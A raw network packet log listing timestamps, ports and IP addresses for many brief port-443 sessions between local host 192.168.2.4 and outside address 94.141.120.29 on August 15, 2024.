Aug 15, 2024 08:11:03.298501015 CEST	50798	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.315485954 CEST	50798	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.315495014 CEST	443	50798	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.315526009 CEST	443	50798	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.323362112 CEST	50799	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.323375940 CEST	443	50799	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.323455095 CEST	50799	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.336918116 CEST	50799	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.336926937 CEST	443	50799	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.336954117 CEST	443	50799	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.343858004 CEST	50800	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.343887091 CEST	443	50800	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.343945026 CEST	50800	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.353677034 CEST	50800	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.353688955 CEST	443	50800	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.353713989 CEST	443	50800	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.357815027 CEST	50801	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.357892990 CEST	443	50801	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.357981920 CEST	50801	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.367139101 CEST	50801	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.367151022 CEST	443	50801	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.367177963 CEST	443	50801	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.371428967 CEST	50802	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.371443033 CEST	443	50802	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.371505022 CEST	50802	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.404679060 CEST	50802	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.404697895 CEST	443	50802	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.404738903 CEST	443	50802	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.415982962 CEST	50803	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.416011095 CEST	443	50803	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.416074991 CEST	50803	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.425893068 CEST	50803	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.425903082 CEST	443	50803	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.425935030 CEST	443	50803	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.432468891 CEST	50804	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.432495117 CEST	443	50804	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.432568073 CEST	50804	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.442331076 CEST	50804	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.442342043 CEST	443	50804	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.442370892 CEST	443	50804	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.446868896 CEST	50805	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.446878910 CEST	443	50805	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.446942091 CEST	50805	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.456619978 CEST	50805	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.456626892 CEST	443	50805	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.456651926 CEST	443	50805	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.461138964 CEST	50806	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.461146116 CEST	443	50806	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.461205959 CEST	50806	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.470536947 CEST	50806	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.470544100 CEST	443	50806	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.470571041 CEST	443	50806	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.474968910 CEST	50807	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.474981070 CEST	443	50807	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.475044012 CEST	50807	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.484424114 CEST	50807	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.484432936 CEST	443	50807	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.484469891 CEST	443	50807	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.493096113 CEST	50808	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.493104935 CEST	443	50808	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.493366003 CEST	50808	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.510041952 CEST	50808	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.510051012 CEST	443	50808	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.510081053 CEST	443	50808	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.517550945 CEST	50809	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.517565966 CEST	443	50809	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.517611027 CEST	50809	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.530359030 CEST	50809	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.530369043 CEST	443	50809	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.530395031 CEST	443	50809	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.534828901 CEST	50810	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.534837961 CEST	443	50810	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.534908056 CEST	50810	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.544500113 CEST	50810	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.544507980 CEST	443	50810	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.544534922 CEST	443	50810	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.549890041 CEST	50811	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.549928904 CEST	443	50811	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.550012112 CEST	50811	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.559437037 CEST	50811	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.559453011 CEST	443	50811	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.559478045 CEST	443	50811	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.563888073 CEST	50812	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.563896894 CEST	443	50812	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.563970089 CEST	50812	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.572608948 CEST	50812	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.572617054 CEST	443	50812	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.572642088 CEST	443	50812	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.576984882 CEST	50813	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.576993942 CEST	443	50813	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.577050924 CEST	50813	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.586040020 CEST	50813	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.586050034 CEST	443	50813	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.586074114 CEST	443	50813	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.590390921 CEST	50814	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.590409994 CEST	443	50814	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.590473890 CEST	50814	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.600092888 CEST	50814	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.600116014 CEST	443	50814	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.600143909 CEST	443	50814	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.607897997 CEST	50815	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.607908964 CEST	443	50815	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.607986927 CEST	50815	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.625370979 CEST	50815	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.625385046 CEST	443	50815	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.625413895 CEST	443	50815	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.635091066 CEST	50816	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.635176897 CEST	443	50816	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.635287046 CEST	50816	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.646231890 CEST	50816	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.646306992 CEST	443	50816	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.646347046 CEST	443	50816	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.652266026 CEST	50817	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.652345896 CEST	443	50817	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.652439117 CEST	50817	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.661597967 CEST	50817	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.661640882 CEST	443	50817	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.661668062 CEST	443	50817	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.665847063 CEST	50818	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.665887117 CEST	443	50818	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.665960073 CEST	50818	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.680732012 CEST	50818	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.680772066 CEST	443	50818	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.680810928 CEST	443	50818	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.688663006 CEST	50819	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.688703060 CEST	443	50819	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.688795090 CEST	50819	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.747674942 CEST	50819	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.747718096 CEST	443	50819	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.747781992 CEST	443	50819	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.770046949 CEST	50820	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.770087957 CEST	443	50820	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.771714926 CEST	50820	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.781708956 CEST	50820	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.781749964 CEST	443	50820	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.781788111 CEST	443	50820	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.786338091 CEST	50821	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.786376953 CEST	443	50821	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.786616087 CEST	50821	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.795030117 CEST	50821	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.795106888 CEST	443	50821	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.795151949 CEST	443	50821	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.799765110 CEST	50822	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.799822092 CEST	443	50822	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.803473949 CEST	50822	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.812313080 CEST	50822	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.812392950 CEST	443	50822	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.812438011 CEST	443	50822	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.820259094 CEST	50823	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.820372105 CEST	443	50823	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.820466995 CEST	50823	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.829874039 CEST	50823	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.829952955 CEST	443	50823	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.829991102 CEST	443	50823	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.834378004 CEST	50824	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.834458113 CEST	443	50824	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.834548950 CEST	50824	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.843880892 CEST	50824	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.843986034 CEST	443	50824	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.844044924 CEST	443	50824	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.848350048 CEST	50825	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.848443985 CEST	443	50825	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.848539114 CEST	50825	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.857348919 CEST	50825	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.857429981 CEST	443	50825	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.857470989 CEST	443	50825	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.861339092 CEST	50826	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.861385107 CEST	443	50826	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.861658096 CEST	50826	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.869690895 CEST	50826	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.869729996 CEST	443	50826	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.869760036 CEST	443	50826	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.873553038 CEST	50827	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.873600960 CEST	443	50827	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.873786926 CEST	50827	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.889951944 CEST	50827	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.890058041 CEST	443	50827	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.890105963 CEST	443	50827	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.898014069 CEST	50828	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.898055077 CEST	443	50828	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.898185968 CEST	50828	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.918694973 CEST	50828	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.918736935 CEST	443	50828	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.918775082 CEST	443	50828	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.922929049 CEST	50829	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.923008919 CEST	443	50829	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.923130035 CEST	50829	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.931771994 CEST	50829	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.931850910 CEST	443	50829	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.931895971 CEST	443	50829	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.935745955 CEST	50830	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.935827971 CEST	443	50830	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.935940981 CEST	50830	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.944293976 CEST	50830	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.944372892 CEST	443	50830	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.944415092 CEST	443	50830	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.951488972 CEST	50831	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.951569080 CEST	443	50831	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.956362009 CEST	50831	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.964086056 CEST	50831	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.964126110 CEST	443	50831	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.964154005 CEST	443	50831	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.968569040 CEST	50832	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.968650103 CEST	443	50832	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.968744040 CEST	50832	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.977137089 CEST	50832	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.977210999 CEST	443	50832	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.977250099 CEST	443	50832	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.983915091 CEST	50833	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.984002113 CEST	443	50833	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.984107971 CEST	50833	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.007502079 CEST	50833	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.007584095 CEST	443	50833	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.007625103 CEST	443	50833	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.015947104 CEST	50834	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.016027927 CEST	443	50834	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.016108036 CEST	50834	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.041033030 CEST	50834	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.041138887 CEST	443	50834	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.041202068 CEST	443	50834	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.058046103 CEST	50835	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.058128119 CEST	443	50835	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.058218002 CEST	50835	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.125477076 CEST	50835	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.125556946 CEST	443	50835	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.125607967 CEST	443	50835	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.138333082 CEST	50836	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.138415098 CEST	443	50836	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.138500929 CEST	50836	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.167412043 CEST	50836	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.167493105 CEST	443	50836	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.167546034 CEST	443	50836	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.173274994 CEST	50837	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.173355103 CEST	443	50837	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.173713923 CEST	50837	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.185347080 CEST	50837	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.185425997 CEST	443	50837	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.185482025 CEST	443	50837	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.195494890 CEST	50838	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.195574999 CEST	443	50838	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.195832014 CEST	50838	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.237520933 CEST	50838	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.237601042 CEST	443	50838	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.237651110 CEST	443	50838	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.242628098 CEST	50839	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.242708921 CEST	443	50839	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.242811918 CEST	50839	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.265883923 CEST	50839	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.265961885 CEST	443	50839	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.266019106 CEST	443	50839	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.272838116 CEST	50840	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.272918940 CEST	443	50840	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.273020029 CEST	50840	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.285862923 CEST	50840	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.285938978 CEST	443	50840	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.285984039 CEST	443	50840	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.290554047 CEST	50841	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.290633917 CEST	443	50841	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.290724993 CEST	50841	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.299737930 CEST	50841	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.299815893 CEST	443	50841	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.299860001 CEST	443	50841	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.307830095 CEST	50842	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.307909966 CEST	443	50842	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.312447071 CEST	50842	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.321302891 CEST	50842	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.321381092 CEST	443	50842	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.321423054 CEST	443	50842	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.328155041 CEST	50843	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.328269005 CEST	443	50843	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.331521034 CEST	50843	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.340504885 CEST	50843	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.340579987 CEST	443	50843	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.340636969 CEST	443	50843	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.348695993 CEST	50844	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.348774910 CEST	443	50844	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.348855972 CEST	50844	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.357608080 CEST	50844	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.357680082 CEST	443	50844	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.357722044 CEST	443	50844	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.364363909 CEST	50845	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.364444971 CEST	443	50845	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.364537954 CEST	50845	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.373119116 CEST	50845	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.373193979 CEST	443	50845	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.373238087 CEST	443	50845	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.379885912 CEST	50846	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.379966974 CEST	443	50846	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.380064964 CEST	50846	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.391766071 CEST	50846	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.391860008 CEST	443	50846	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.391916990 CEST	443	50846	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.408159018 CEST	50847	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.408241034 CEST	443	50847	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.411883116 CEST	50847	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.431998014 CEST	50847	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.432069063 CEST	443	50847	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.432167053 CEST	443	50847	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.445046902 CEST	50848	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.445086002 CEST	443	50848	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.445220947 CEST	50848	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.455691099 CEST	50848	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.455702066 CEST	443	50848	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.455733061 CEST	443	50848	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.461395979 CEST	50849	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.461433887 CEST	443	50849	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.461502075 CEST	50849	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.473834991 CEST	50849	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.473846912 CEST	443	50849	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.473875999 CEST	443	50849	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.479806900 CEST	50850	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.479815960 CEST	443	50850	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.479866982 CEST	50850	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.491864920 CEST	50850	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.491882086 CEST	443	50850	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.491914988 CEST	443	50850	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.497029066 CEST	50851	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.497049093 CEST	443	50851	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.497210979 CEST	50851	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.508788109 CEST	50851	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.508796930 CEST	443	50851	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.508831978 CEST	443	50851	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.515268087 CEST	50852	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.515290022 CEST	443	50852	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.515348911 CEST	50852	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.523566008 CEST	50852	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.523577929 CEST	443	50852	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.523607969 CEST	443	50852	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.527482986 CEST	50853	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.527498960 CEST	443	50853	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:04.527617931 CEST	50853	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.536138058 CEST	50853	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:04.536149025 CEST	443	50853	94.141.120.29	192.168.2.4
